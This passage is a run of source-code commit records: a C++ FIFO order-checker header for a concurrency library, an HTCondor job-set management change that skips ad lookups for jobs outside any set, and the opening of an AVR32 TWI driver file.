DISABLE_COPYING(backfill_receiver_order_source_t);\n};\n\nstruct tagged_seen_t {\n    int64_t value;\n    std::string tag;\n\n    tagged_seen_t(int64_t _value, const std::string& _tag) : value(_value), tag(_tag) { }\n};\n\n\/* Eventually order tokens get to an order sink, and those of the same\n   bucket had better arrive in the right order. *\/\nclass order_sink_t {\npublic:\n#ifndef NDEBUG\n    order_sink_t();\n\n    void check_out(order_token_t token);\n#else\n    order_sink_t() { }\n\n    void check_out(UNUSED  order_token_t token) { }\n\n#endif  \/\/ ifndef NDEBUG\n\nprivate:\n\n#ifndef NDEBUG\n    friend class plain_sink_t;\n    static void verify_token_value_and_update(order_token_t token, std::pair<tagged_seen_t, tagged_seen_t> *ls_pair);\n\n    \/\/ We keep two last seen values because reads can be reordered.\n    \/\/ .first = last seen write, .second = max(last seen read, last seen write)\n    std::vector<std::pair<tagged_seen_t, tagged_seen_t> > last_seens_;\n#endif  \/\/ ifndef NDEBUG\n\n    DISABLE_COPYING(order_sink_t);\n};\n\n\/\/ An order sink with less overhead, for situations where there is\n\/\/ only one source (like the top of a btree slice) and many sinks.  If\n\/\/ there's one bucket there's no point in instantiating a std::vector.\nclass plain_sink_t {\npublic:\n#ifndef NDEBUG\n    plain_sink_t();\n\n    void check_out(order_token_t token);\n#else\n    plain_sink_t() { }\n\n    void check_out(UNUSED  order_token_t token) { }\n#endif  \/\/ ifndef NDEBUG\n\nprivate:\n#ifndef NDEBUG\n    \/\/ The pair of last seen values.\n    std::pair<tagged_seen_t, tagged_seen_t> ls_pair_;\n#endif\n\n    DISABLE_COPYING(plain_sink_t);\n};\n\n#endif  \/\/ __CONCURRENCY_FIFO_CHECKER_HPP__\n<commit_msg>Fix the release build.<commit_after>#ifndef __CONCURRENCY_FIFO_CHECKER_HPP__\n#define __CONCURRENCY_FIFO_CHECKER_HPP__\n\n#include <vector>\n\n#include <boost\/function.hpp>\n\n#include \"arch\/arch.hpp\"\n#include \"utils2.hpp\"\n\n\/\/ The memcached order_source_t and the backfill_receiver_t will want\n\/\/ to be in distinct buckets.\n\n\/\/ We'll need our order sources' buckets (operating for the same code\n\/\/ path) at any given point in time to be distinct values. The\n\/\/ backfill receiver (be it on the master side or slave side) gets\n\/\/ bucket 0.  Then the memcache connections get buckets 1,2,3,...\n\/\/\n\/\/ Btree slice operations then get an order source with bucket 0,\n\/\/ since they operate independently and their tokens reach a different\n\/\/ set of order sinks.\nconst int BACKFILL_RECEIVER_ORDER_SOURCE_BUCKET = 0;\nconst int MEMCACHE_START_BUCKET = 1;\n\n\/* Order tokens of the same bucket need to arrive at order sinks in a\n   certain order.  Pretending that read_mode is always false, they\n   need to arrive by ascending order of their value -- the same order\n   that they were created in.  This is because write operations cannot\n   be reordered.  However, read operations may be shuffled around, and\n   so may order_tokens with read_mode set to true.\n *\/\nclass order_token_t {\npublic:\n    static const order_token_t ignore;\n\n#ifndef NDEBUG\n    \/\/ By default we construct a totally invalid order token, not\n    \/\/ equal to ignore, that must be initialized.\n    order_token_t();\n\n    order_token_t with_read_mode() const;\n\n    int bucket() const;\n    bool read_mode() const;\n    int64_t value() const;\n    const std::string& tag() const;\n#else\n    order_token_t() { }\n    order_token_t with_read_mode() const { return order_token_t(); }\n\n    int bucket() const { return 0; }\n    bool read_mode() const { return true; }\n    int64_t value() const { return 0; }\n    std::string tag() const { return \"\"; }\n#endif  \/\/ ifndef NDEBUG\n\nprivate:\n\n#ifndef NDEBUG\n    order_token_t(int bucket, int64_t x, bool read_mode, const std::string& tag);\n    int bucket_;\n    bool read_mode_;\n    int64_t value_;\n    \/\/ This tag would be inefficient on VC++ or some other non-GNU\n    \/\/ std::string implementation, since we copy by value.\n    std::string tag_;\n#endif  \/\/ ifndef NDEBUG\n\n    friend class order_source_t;\n    friend class order_sink_t;\n    friend class backfill_receiver_order_source_t;\n    friend class plain_sink_t;\n    friend class contiguous_order_sink_t;\n};\n\n\/* Buckets are like file descriptors.  We don't want two order sources\n   to have the same bucket, and we can reuse buckets when an order\n   source is destroyed.  A pigeoncoop keeps track of all the available\n   pigeonholes and what the initial value should be for the pigeon, I\n   mean order source, that next gets assigned a given bucket. *\/\nclass order_source_pigeoncoop_t {\npublic:\n#ifndef NDEBUG\n    order_source_pigeoncoop_t(int starting_bucket = 0);\n#else\n    order_source_pigeoncoop_t(UNUSED int starting_bucket = 0) { }\n#endif\n\n    friend class order_source_t;\nprivate:\n\n    static void nop() { }\n\n#ifndef NDEBUG\n    void unregister_bucket(int bucket, int64_t counter);\n\n    std::pair<int, int64_t> register_for_bucket();\n\n    \/\/ The bucket we should use next, if free_buckets_ is empty.\n    int least_unregistered_bucket_;\n\n    \/\/ The buckets less than least_unregistered_bucket_ that are free.\n    std::vector<std::pair<int, int64_t> > free_buckets_;\n#endif\n\n    DISABLE_COPYING(order_source_pigeoncoop_t);\n};\n\n\/* Order sources create order tokens with increasing values for a\n   specific bucket.  When they are destroyed they call a void()\n   function which might inform somebody that the bucket is now\n   available for reuse. *\/\nclass order_source_t {\npublic:\n#ifndef NDEBUG\n    order_source_t(int bucket = 0, boost::function<void()> unregisterator = order_source_pigeoncoop_t::nop);\n    order_source_t(order_source_pigeoncoop_t *coop);\n    ~order_source_t();\n\n    order_token_t check_in(const std::string& tag);\n#else\n    order_source_t(UNUSED int bucket = 0, UNUSED boost::function<void()> unregisterator = order_source_pigeoncoop_t::nop) { }\n    order_source_t(UNUSED order_source_pigeoncoop_t *coop) { }\n    ~order_source_t() { }\n\n    order_token_t check_in(const std::string&) { return order_token_t(); }\n#endif  \/\/ ndef NDEBUG\n\nprivate:\n#ifndef NDEBUG\n    int bucket_;\n    int64_t counter_;\n    boost::function<void ()> unregister_;\n#endif  \/\/ ifndef NDEBUG\n\n    DISABLE_COPYING(order_source_t);\n};\n\n\/* A backfill receiver order source is a bit special, because when we\n   backfill, we want backfill operations to get in before \"realtime\"\n   operations.  So we play tricks with the counter depending on\n   whether we're currently backfilling and whether we're checking in a\n   backfill or a realtime operation.  (This assumes there will be no\n   more than 4 billion backfill operations, which is ok for\n   debugging purposes.)\n *\/\nclass backfill_receiver_order_source_t {\npublic:\n#ifndef NDEBUG\n    backfill_receiver_order_source_t(int bucket = BACKFILL_RECEIVER_ORDER_SOURCE_BUCKET);\n\n    void backfill_begun();\n    void backfill_done();\n\n    order_token_t check_in_backfill_operation(const std::string& tag);\n    order_token_t check_in_realtime_operation(const std::string& tag);\n#else\n    backfill_receiver_order_source_t(UNUSED int bucket = BACKFILL_RECEIVER_ORDER_SOURCE_BUCKET) { }\n\n    void backfill_begun() { }\n    void backfill_done() { }\n\n    order_token_t check_in_backfill_operation(const std::string&) { return order_token_t(); }\n    order_token_t check_in_realtime_operation(const std::string&) { return order_token_t(); }\n\n#endif  \/\/ ifndef NDEBUG\n\nprivate:\n\n#ifndef NDEBUG\n    int bucket_;\n    int64_t counter_;\n    bool backfill_active_;\n#endif  \/\/ ifndef NDEBUG\n\n    DISABLE_COPYING(backfill_receiver_order_source_t);\n};\n\nstruct tagged_seen_t {\n    int64_t value;\n    std::string tag;\n\n    tagged_seen_t(int64_t _value, const std::string& _tag) : value(_value), tag(_tag) { }\n};\n\n\/* Eventually order tokens get to an order sink, and those of the same\n   bucket had better arrive in the right order. *\/\nclass order_sink_t {\npublic:\n#ifndef NDEBUG\n    order_sink_t();\n\n    void check_out(order_token_t token);\n#else\n    order_sink_t() { }\n\n    void check_out(UNUSED  order_token_t token) { }\n\n#endif  \/\/ ifndef NDEBUG\n\nprivate:\n\n#ifndef NDEBUG\n    friend class plain_sink_t;\n    static void verify_token_value_and_update(order_token_t token, std::pair<tagged_seen_t, tagged_seen_t> *ls_pair);\n\n    \/\/ We keep two last seen values because reads can be reordered.\n    \/\/ .first = last seen write, .second = max(last seen read, last seen write)\n    std::vector<std::pair<tagged_seen_t, tagged_seen_t> > last_seens_;\n#endif  \/\/ ifndef NDEBUG\n\n    DISABLE_COPYING(order_sink_t);\n};\n\n\/\/ An order sink with less overhead, for situations where there is\n\/\/ only one source (like the top of a btree slice) and many sinks.  If\n\/\/ there's one bucket there's no point in instantiating a std::vector.\nclass plain_sink_t {\npublic:\n#ifndef NDEBUG\n    plain_sink_t();\n\n    void check_out(order_token_t token);\n#else\n    plain_sink_t() { }\n\n    void check_out(UNUSED  order_token_t token) { }\n#endif  \/\/ ifndef NDEBUG\n\nprivate:\n#ifndef NDEBUG\n    \/\/ The pair of last seen values.\n    std::pair<tagged_seen_t, tagged_seen_t> ls_pair_;\n#endif\n\n    DISABLE_COPYING(plain_sink_t);\n};\n\n#endif  \/\/ __CONCURRENCY_FIFO_CHECKER_HPP__\n<|endoftext|>"}
{"text":"<commit_before>\/***************************************************************\n *\n * Copyright (C) 1990-2019, Condor Team, Computer Sciences Department,\n * University of Wisconsin-Madison, WI.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\"); you\n * may not use this file except in compliance with the License.  You may\n * obtain a copy of the License at\n * \n *    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n ***************************************************************\/\n\n\n#include \"condor_common.h\"\n#include \"condor_config.h\"\n#include \"condor_attributes.h\"\n#include \"qmgmt.h\"\n#include \"scheduler.h\"\n#include \"condor_qmgr.h\"\n#include \"jobsets.h\"\n#include \"classad_merge.h\"\n\n\n\/\/ in schedd.cpp\nvoid IncrementLiveJobCounter(LiveJobCounters & num, int universe, int status, int increment \/*, JobQueueJob * job*\/);\n\nJobSets::JobSet::JobSet(int _id, std::string _name, std::string _owner, ClassAd *ad) \n\t: id(_id), name(_name), owner(_owner), setAd(ad)\n{\n\tif (!setAd) {\n\t\tClassAd ad;\n\t\tad.EnableDirtyTracking();\n\t\tad.Assign(ATTR_MY_TYPE, JOB_SET_ADTYPE);\n\t\tad.Assign(ATTR_TARGET_TYPE, JOB_SET_ADTYPE);\n\t\tad.Assign(ATTR_JOB_SET_NAME, name);\n\t\tad.Assign(ATTR_JOB_SET_ID, id);\n\t\tad.Assign(ATTR_OWNER, owner);\n\t\tJobSetStoreAllDirtyAttrs(id, ad, true);\n\t}\n}\n\nvoid\nJobSets::setNextSetId(int id) \n{\n\tnext_setid_num = id;\n\tdprintf(D_FULLDEBUG, \"JobSet setNextSetId restored to id %d\\n\", id);\n}\n\nvoid\nJobSets::reconfig()\n{\n\n}\n\nJobSets::~JobSets()\n{\n\t\/\/ Deallocate each JobSet\n\tfor (auto const & s : mapIdToSet) {\n\t\tdelete s.second;\n\t}\n\n}\n\nbool\nJobSets::restoreJobSet(ClassAd *setAd)\n{\n\tint id = 0;\n\tstd::string setName;\n\tstd::string setOwner;\n\n\tif (!setAd->LookupInteger(ATTR_JOB_SET_ID, id) ||\n\t\t!setAd->LookupString(ATTR_OWNER, setOwner) ||\n\t\t!setAd->LookupString(ATTR_JOB_SET_NAME, setName))\n\t{\n\t\tdprintf(D_ALWAYS, \"ERROR: restoreJobSet - log has malformed JobSet  (%s,%d)\\n\",\n\t\t\tsetName.c_str(), id);\n\t\treturn false;\n\t}\n\n\t\/\/ Add into our name to id map, making sure it is not already there\n\tunsigned int &setId = mapAliasToId[setOwner + setName];\n\tif (setId) {\n\t\tdprintf(D_ALWAYS, \"ERROR: restoreJobSet - log has duplicate JobSet names (%s,%d)\\n\",\n\t\t\tsetName.c_str(), setId);\n\t\treturn false;\n\t}\n\tsetId = id;\n\n\t\/\/ Add into our id to set object map, making sure it is not already there\n\tJobSet* &set = mapIdToSet[setId];\n\tif (set) {\n\t\tdprintf(D_ALWAYS, \"ERROR: restoreJobSet - log has duplicate JobSet ids (%s,%d)\\n\",\n\t\t\tsetName.c_str(), setId);\n\t\treturn false;\n\t}\n\tset = new JobSet(setId, setName, setOwner, setAd);\n\n\tif (setId > next_setid_num) {\n\t\tdprintf(D_ALWAYS,\"Warning: restoreJobSet - JobSet id larger than expected (%s,%d)\\n\",\n\t\t\tsetName.c_str(), setId);\n\t\tnext_setid_num = setId;\n\t}\n\n\t\/\/ Increment aggregates for removed and completed jobs from the past\n\tstd::string prefix = \"Scheduler\";\n\tsetAd->LookupInteger(ATTR_TOTAL_COMPLETED_JOBS, set->jobStatusAggregates.JobsCompleted);\n\tsetAd->LookupInteger(prefix+ATTR_TOTAL_COMPLETED_JOBS, set->jobStatusAggregates.SchedulerJobsCompleted);\n\tsetAd->LookupInteger(ATTR_TOTAL_REMOVED_JOBS, set->jobStatusAggregates.JobsRemoved);\n\tsetAd->LookupInteger(prefix+ATTR_TOTAL_REMOVED_JOBS, set->jobStatusAggregates.SchedulerJobsRemoved);\n\t\n\tdprintf(D_FULLDEBUG, \"Restored JobSet %s id=%d for owner %s\\n\",\n\t\tset->name.c_str(), set->id, set->owner.c_str());\n\n\treturn true;\n}\n\n\nJobSets::JobSet* JobSets::getOrCreateSet(JobQueueJob & job)\n{\n\tunsigned int setId = job.set_id;\n\tbool newSet = false;\n\tbool appendJobToSet = false;\n\tstd::string setName;\n\n\tif (!setId) {\n\t\tappendJobToSet = true;\n\t\t\/\/ We have not yet added this job to any set\n\t\tif (!job.LookupString(ATTR_JOB_SET_NAME, setName)) {\n\t\t\t\/\/ default to cluster id...\n\t\t\tsetName = std::to_string(job.jid.cluster);\n\t\t}\n\t\tstd::string key = job.ownerinfo->name + setName;\n\t\tauto it = mapAliasToId.find(key);\n\t\tif (it == mapAliasToId.end()) {\n\t\t\t\/\/ Create a new set with a new set id!\n\t\t\tsetId = ++next_setid_num;\n\t\t\tSetSecureAttributeInt(0, 0, ATTR_NEXT_JOBSET_NUM, setId);\n\t\t\tnewSet = true;\n\t\t\tmapAliasToId[key] = setId;\n\t\t}\n\t\telse {\n\t\t\t\/\/ Appened this job to an existing set\n\t\t\tsetId = it->second;\n\t\t}\n\t}\n\n\tJobSet* &set = mapIdToSet[setId];\n\n\t\/\/ Assert that mapAliasToID and mapIdToSet are in sync with each other\n\tASSERT(newSet ? set==nullptr : set!=nullptr); \n\n\tif (newSet) {\n\t\tset = new JobSet(setId, setName, job.ownerinfo->name, nullptr);\n\t\tdprintf(D_ALWAYS, \"Created new JobSet %s id=%d for owner %s\\n\",\n\t\t\tset->name.c_str(), set->id, set->owner.c_str());\t\t\n\t}\n\n\tif (appendJobToSet) {\n\t\tset->jobsInSet.insert(job.jid);\n\t\tjob.Assign(ATTR_JOB_SET_ID, setId);\n\t\tjob.set_id = setId;\n\t}\n\n\tif (!set->setAd) {\n\t\t\/\/ Note - it is still possible GetJobAd() will return a NULL here\n\t\t\/\/ if the set is being created as part of a transaction that has not yet\n\t\t\/\/ been committed.  So a NULL setAd should not be an error.\n\t\tset->setAd = GetJobAd(0, 0 - setId);\n\t}\n\n\treturn set;\n}\n\nbool JobSets::removeSet(JobSet* & set)\n{\n\tif (!set) return false;\t\n\tdprintf(D_ALWAYS, \"Removing JobSet %s id=%d (%lu jobs) for owner %s\\n\",\n\t\tset->name.c_str(), set->id, set->jobsInSet.size(), set->owner.c_str());\n\tmapAliasToId.erase(set->owner + set->name);\n\tmapIdToSet.erase(set->id);\n\tbool ret = JobSetDestroy(set->id);\n\tif (!ret) {\n\t\tdprintf(D_ALWAYS, \"WARNING: unable to remove from log JobSet %s id=%d (%lu jobs) for owner %s\\n\",\n\t\t\tset->name.c_str(), set->id, set->jobsInSet.size(), set->owner.c_str());\n\t}\n\tdelete set;\n\tset = nullptr;  \/\/ set is destroyed, get rid of pointer to it\n\treturn ret;\n}\n\nbool JobSets::update(JobQueueJob & job, int old_status, int new_status)\n{\n\tif (old_status == new_status) {\n\t\t\/\/ nothing to do, since job status did not change\n\t\treturn true;\n\t}\n\n\tJobSet * set = getOrCreateSet(job);\n\n\tif (!set) {\n\t\t\/\/ nothing to do, this job is not a member of a set\n\t\treturn false;\n\t}\n\n\tIncrementLiveJobCounter(set->jobStatusAggregates, job.Universe(), old_status, -1);\n\tIncrementLiveJobCounter(set->jobStatusAggregates, job.Universe(), new_status, 1);\n\n\tif (IsDebugLevel(D_JOB) && old_status >= 0 ) {\n\t\tClassAd s;\n\t\tset->jobStatusAggregates.publish(s, \"Live\");\n\t\tif (set->setAd) {\n\t\t\tMergeClassAds(&s, set->setAd, true);\n\t\t}\n\t\tdprintf(D_JOB, \"Updating JobSet %s (id=%u) after status change in job %d.%d to be:\\n\",\n\t\t\tset->name.c_str(), set->id, job.jid.cluster, job.jid.proc);\n\t\tdPrintAd(D_JOB, s);\n\t}\n\treturn true;\n}\n\nbool JobSets::removeJobFromSet(JobQueueJob & job)\n{\n\tif (!job.set_id) return true;\n\n\tJobSet* jobset = getOrCreateSet(job);\n\tASSERT(jobset);\n\n\t\/\/ update historical counters now to disk, as this job is leaving\n\tif (jobset->setAd) {\n\t\tstd::string key;\n\t\n\t\tif (job.Status() == COMPLETED) {\n\t\t\tkey = ATTR_TOTAL_COMPLETED_JOBS;\n\t\t}\n\t\tif (job.Status() == REMOVED) {\n\t\t\tkey = ATTR_TOTAL_REMOVED_JOBS;\n\t\t}\n\t\tif (!key.empty()) {\n\t\t\tif (job.Universe() == CONDOR_UNIVERSE_SCHEDULER) {\n\t\t\t\tkey = \"Scheduler\" + key;\n\t\t\t}\n\t\t\tint val = 0;\n\t\t\tjobset->setAd->LookupInteger(key, val);\n\t\t\tval++;\n\t\t\tjobset->setAd->Assign(key, val);\n\t\t\tjobset->dirty = true;\n\t\t}\n\n\t\tjobset->persistSetInfo();\n\t}\n\n\tjobset->jobsInSet.erase(job.jid);\n\n\t\/\/ Check if time to destroy this set...\n\tif (jobset->jobsInSet.size() == 0 &&\n\t\tjobset->garbagePolicy == garbagePolicyEnum::immediateAfterEmpty)\n\t{\n\t\tremoveSet(jobset);\n\t}\n\n\treturn true;\n}\n\nbool JobSets::JobSet::persistSetInfo()\n{\n\t\n\tif (dirty) {\t\t\n\t\tdprintf(D_ALWAYS, \"Updating JobSet %s id=%d (%lu jobs) for owner %s\\n\",\n\t\t\tname.c_str(), id, jobsInSet.size(), owner.c_str());\n\n\t\tif (!setAd) {\n\t\t\tsetAd = GetJobAd(0, 0 - id);\n\t\t}\n\t\tASSERT(setAd);\n\n\t\tJobSetStoreAllDirtyAttrs(id, *setAd, false);\t\n\t}\n\n\tdirty = false;\n\n\treturn true;\n}\n<commit_msg>Remember if a job is not in any set to avoid ad lookups. #7227<commit_after>\/***************************************************************\n *\n * Copyright (C) 1990-2019, Condor Team, Computer Sciences Department,\n * University of Wisconsin-Madison, WI.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\"); you\n * may not use this file except in compliance with the License.  You may\n * obtain a copy of the License at\n * \n *    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n ***************************************************************\/\n\n\n#include \"condor_common.h\"\n#include \"condor_config.h\"\n#include \"condor_attributes.h\"\n#include \"qmgmt.h\"\n#include \"scheduler.h\"\n#include \"condor_qmgr.h\"\n#include \"jobsets.h\"\n#include \"classad_merge.h\"\n\n\n\/\/ in schedd.cpp\nvoid IncrementLiveJobCounter(LiveJobCounters & num, int universe, int status, int increment \/*, JobQueueJob * job*\/);\n\nJobSets::JobSet::JobSet(int _id, std::string _name, std::string _owner, ClassAd *ad) \n\t: id(_id), name(_name), owner(_owner), setAd(ad)\n{\n\tif (!setAd) {\n\t\tClassAd ad;\n\t\tad.EnableDirtyTracking();\n\t\tad.Assign(ATTR_MY_TYPE, JOB_SET_ADTYPE);\n\t\tad.Assign(ATTR_TARGET_TYPE, JOB_SET_ADTYPE);\n\t\tad.Assign(ATTR_JOB_SET_NAME, name);\n\t\tad.Assign(ATTR_JOB_SET_ID, id);\n\t\tad.Assign(ATTR_OWNER, owner);\n\t\tJobSetStoreAllDirtyAttrs(id, ad, true);\n\t}\n}\n\nvoid\nJobSets::setNextSetId(int id) \n{\n\tnext_setid_num = id;\n\tdprintf(D_FULLDEBUG, \"JobSet setNextSetId restored to id %d\\n\", id);\n}\n\nvoid\nJobSets::reconfig()\n{\n\n}\n\nJobSets::~JobSets()\n{\n\t\/\/ Deallocate each JobSet\n\tfor (auto const & s : mapIdToSet) {\n\t\tdelete s.second;\n\t}\n\n}\n\nbool\nJobSets::restoreJobSet(ClassAd *setAd)\n{\n\tint id = 0;\n\tstd::string setName;\n\tstd::string setOwner;\n\n\tif (!setAd->LookupInteger(ATTR_JOB_SET_ID, id) ||\n\t\t!setAd->LookupString(ATTR_OWNER, setOwner) ||\n\t\t!setAd->LookupString(ATTR_JOB_SET_NAME, setName))\n\t{\n\t\tdprintf(D_ALWAYS, \"ERROR: restoreJobSet - log has malformed JobSet  (%s,%d)\\n\",\n\t\t\tsetName.c_str(), id);\n\t\treturn false;\n\t}\n\n\t\/\/ Add into our name to id map, making sure it is not already there\n\tunsigned int &setId = mapAliasToId[setOwner + setName];\n\tif (setId) {\n\t\tdprintf(D_ALWAYS, \"ERROR: restoreJobSet - log has duplicate JobSet names (%s,%d)\\n\",\n\t\t\tsetName.c_str(), setId);\n\t\treturn false;\n\t}\n\tsetId = id;\n\n\t\/\/ Add into our id to set object map, making sure it is not already there\n\tJobSet* &set = mapIdToSet[setId];\n\tif (set) {\n\t\tdprintf(D_ALWAYS, \"ERROR: restoreJobSet - log has duplicate JobSet ids (%s,%d)\\n\",\n\t\t\tsetName.c_str(), setId);\n\t\treturn false;\n\t}\n\tset = new JobSet(setId, setName, setOwner, setAd);\n\n\tif (setId > next_setid_num) {\n\t\tdprintf(D_ALWAYS,\"Warning: restoreJobSet - JobSet id larger than expected (%s,%d)\\n\",\n\t\t\tsetName.c_str(), setId);\n\t\tnext_setid_num = setId;\n\t}\n\n\t\/\/ Increment aggregates for removed and completed jobs from the past\n\tstd::string prefix = \"Scheduler\";\n\tsetAd->LookupInteger(ATTR_TOTAL_COMPLETED_JOBS, set->jobStatusAggregates.JobsCompleted);\n\tsetAd->LookupInteger(prefix+ATTR_TOTAL_COMPLETED_JOBS, set->jobStatusAggregates.SchedulerJobsCompleted);\n\tsetAd->LookupInteger(ATTR_TOTAL_REMOVED_JOBS, set->jobStatusAggregates.JobsRemoved);\n\tsetAd->LookupInteger(prefix+ATTR_TOTAL_REMOVED_JOBS, set->jobStatusAggregates.SchedulerJobsRemoved);\n\t\n\tdprintf(D_FULLDEBUG, \"Restored JobSet %s id=%d for owner %s\\n\",\n\t\tset->name.c_str(), set->id, set->owner.c_str());\n\n\treturn true;\n}\n\n\nJobSets::JobSet* JobSets::getOrCreateSet(JobQueueJob & job)\n{\n\tint setId = job.set_id;\n\tbool newSet = false;\n\tbool appendJobToSet = false;\n\tstd::string setName;\n\n\tif (setId == -1) {\n\t\t\/\/ job is not in a set, bail out quickly now before ad lookups etc\n\t\treturn nullptr;\n\t}\n\n\tif (setId == 0) {\n\t\tappendJobToSet = true;\n\t\t\/\/ We have not yet added this job to any set\n\t\tif (!job.LookupString(ATTR_JOB_SET_NAME, setName)) {\n\t\t\t\/\/ default to cluster id...\n\t\t\tsetName = std::to_string(job.jid.cluster);\n\t\t}\n\t\tif (setName.empty()) {\n\t\t\t\/\/ remember this job is not in a set for fast bailout next time\n\t\t\tjob.set_id = -1; \n\t\t\treturn nullptr;\n\t\t}\n\t\tstd::string key = job.ownerinfo->name + setName;\n\t\tauto it = mapAliasToId.find(key);\n\t\tif (it == mapAliasToId.end()) {\n\t\t\t\/\/ Create a new set with a new set id!\n\t\t\tsetId = ++next_setid_num;\n\t\t\tSetSecureAttributeInt(0, 0, ATTR_NEXT_JOBSET_NUM, setId);\n\t\t\tnewSet = true;\n\t\t\tmapAliasToId[key] = setId;\n\t\t}\n\t\telse {\n\t\t\t\/\/ Appened this job to an existing set\n\t\t\tsetId = it->second;\n\t\t}\n\t}\n\n\tJobSet* &set = mapIdToSet[setId];\n\n\t\/\/ Assert that mapAliasToID and mapIdToSet are in sync with each other\n\tASSERT(newSet ? set==nullptr : set!=nullptr); \n\n\tif (newSet) {\n\t\tset = new JobSet(setId, setName, job.ownerinfo->name, nullptr);\n\t\tdprintf(D_ALWAYS, \"Created new JobSet %s id=%d for owner %s\\n\",\n\t\t\tset->name.c_str(), set->id, set->owner.c_str());\t\t\n\t}\n\n\tif (appendJobToSet) {\n\t\tset->jobsInSet.insert(job.jid);\n\t\tjob.Assign(ATTR_JOB_SET_ID, setId);\n\t\tjob.set_id = setId;\n\t}\n\n\tif (!set->setAd) {\n\t\t\/\/ Note - it is still possible GetJobAd() will return a NULL here\n\t\t\/\/ if the set is being created as part of a transaction that has not yet\n\t\t\/\/ been committed.  So a NULL setAd should not be an error.\n\t\tset->setAd = GetJobAd(0, 0 - setId);\n\t}\n\n\treturn set;\n}\n\nbool JobSets::removeSet(JobSet* & set)\n{\n\tif (!set) return false;\t\n\tdprintf(D_ALWAYS, \"Removing JobSet %s id=%d (%lu jobs) for owner %s\\n\",\n\t\tset->name.c_str(), set->id, set->jobsInSet.size(), set->owner.c_str());\n\tmapAliasToId.erase(set->owner + set->name);\n\tmapIdToSet.erase(set->id);\n\tbool ret = JobSetDestroy(set->id);\n\tif (!ret) {\n\t\tdprintf(D_ALWAYS, \"WARNING: unable to remove from log JobSet %s id=%d (%lu jobs) for owner %s\\n\",\n\t\t\tset->name.c_str(), set->id, set->jobsInSet.size(), set->owner.c_str());\n\t}\n\tdelete set;\n\tset = nullptr;  \/\/ set is destroyed, get rid of pointer to it\n\treturn ret;\n}\n\nbool JobSets::update(JobQueueJob & job, int old_status, int new_status)\n{\n\tif (old_status == new_status) {\n\t\t\/\/ nothing to do, since job status did not change\n\t\treturn true;\n\t}\n\n\tif (job.set_id <= 0) {\n\t\t\/\/ If this job has not yet been placed into a set, then do not decrement \n\t\t\/\/ job counters for leaving the old_status.\n\t\told_status = -1;\n\t}\n\n\tJobSet * set = getOrCreateSet(job);\n\n\tif (!set) {\n\t\t\/\/ nothing to do, this job is not a member of a set\n\t\treturn false;\n\t}\n\n\tIncrementLiveJobCounter(set->jobStatusAggregates, job.Universe(), old_status, -1);\n\tIncrementLiveJobCounter(set->jobStatusAggregates, job.Universe(), new_status, 1);\n\n\tif (IsDebugLevel(D_JOB) && old_status >= 0 ) {\n\t\tClassAd s;\n\t\tset->jobStatusAggregates.publish(s, \"Live\");\n\t\tif (set->setAd) {\n\t\t\tMergeClassAds(&s, set->setAd, true);\n\t\t}\n\t\tdprintf(D_JOB, \"Updating JobSet %s (id=%u) after status change in job %d.%d to be:\\n\",\n\t\t\tset->name.c_str(), set->id, job.jid.cluster, job.jid.proc);\n\t\tdPrintAd(D_JOB, s);\n\t}\n\treturn true;\n}\n\nbool JobSets::removeJobFromSet(JobQueueJob & job)\n{\n\tif (job.set_id <= 0) return true;\n\n\tJobSet* jobset = getOrCreateSet(job);\n\tASSERT(jobset);\n\n\t\/\/ update historical counters now to disk, as this job is leaving\n\tif (jobset->setAd) {\n\t\tstd::string key;\n\t\n\t\tif (job.Status() == COMPLETED) {\n\t\t\tkey = ATTR_TOTAL_COMPLETED_JOBS;\n\t\t}\n\t\tif (job.Status() == REMOVED) {\n\t\t\tkey = ATTR_TOTAL_REMOVED_JOBS;\n\t\t}\n\t\tif (!key.empty()) {\n\t\t\tif (job.Universe() == CONDOR_UNIVERSE_SCHEDULER) {\n\t\t\t\tkey = \"Scheduler\" + key;\n\t\t\t}\n\t\t\tint val = 0;\n\t\t\tjobset->setAd->LookupInteger(key, val);\n\t\t\tval++;\n\t\t\tjobset->setAd->Assign(key, val);\n\t\t\tjobset->dirty = true;\n\t\t}\n\n\t\tjobset->persistSetInfo();\n\t}\n\n\tjobset->jobsInSet.erase(job.jid);\n\tjob.set_id = -1;\n\n\t\/\/ Check if time to destroy this set...\n\tif (jobset->jobsInSet.size() == 0 &&\n\t\tjobset->garbagePolicy == garbagePolicyEnum::immediateAfterEmpty)\n\t{\n\t\tremoveSet(jobset);\n\t}\n\n\treturn true;\n}\n\nbool JobSets::JobSet::persistSetInfo()\n{\n\t\n\tif (dirty) {\t\t\n\t\tdprintf(D_ALWAYS, \"Updating JobSet %s id=%d (%lu jobs) for owner %s\\n\",\n\t\t\tname.c_str(), id, jobsInSet.size(), owner.c_str());\n\n\t\tif (!setAd) {\n\t\t\tsetAd = GetJobAd(0, 0 - id);\n\t\t}\n\t\tASSERT(setAd);\n\n\t\tJobSetStoreAllDirtyAttrs(id, *setAd, false);\t\n\t}\n\n\tdirty = false;\n\n\treturn true;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *  _____             ___ ___   |\n * |  _  |___ ___ _ _|_  |_  |  |  C\/C++ framework for 32-bit AVRs\n * |     | -_|  _| | |_  |  _|  |  \n * |__|__|___|_| |_  |___|___|  |  https:\/\/github.com\/aery32\n *               |___|          |\n *\n * Copyright (c) 2012, Muiku Oy\n * All rights reserved.\n *\n * LICENSE\n *\n * New BSD License, see the LICENSE.txt bundled with this package. If you did\n * not receive a copy of the license and are unable to obtain it through the\n * world-wide-web, please send an email to contact@muiku.com so we can send\n * you a copy.\n *\/\n\n#include \"aery32\/twi.h\"\n\nnamespace aery {\n\tvolatile avr32_twi_t *twi = &AVR32_TWI;\n\tvolatile uint32_t __twi_lsr = AVR32_TWI.sr;\n}\n\n#define TWI_WAIT_TO_COMPLETE() do { \\\n\twhile ((aery::__twi_lsr & AVR32_TWI_SR_TXCOMP_MASK) == 0) \\\n\t\taery::__twi_lsr = aery::twi->sr; 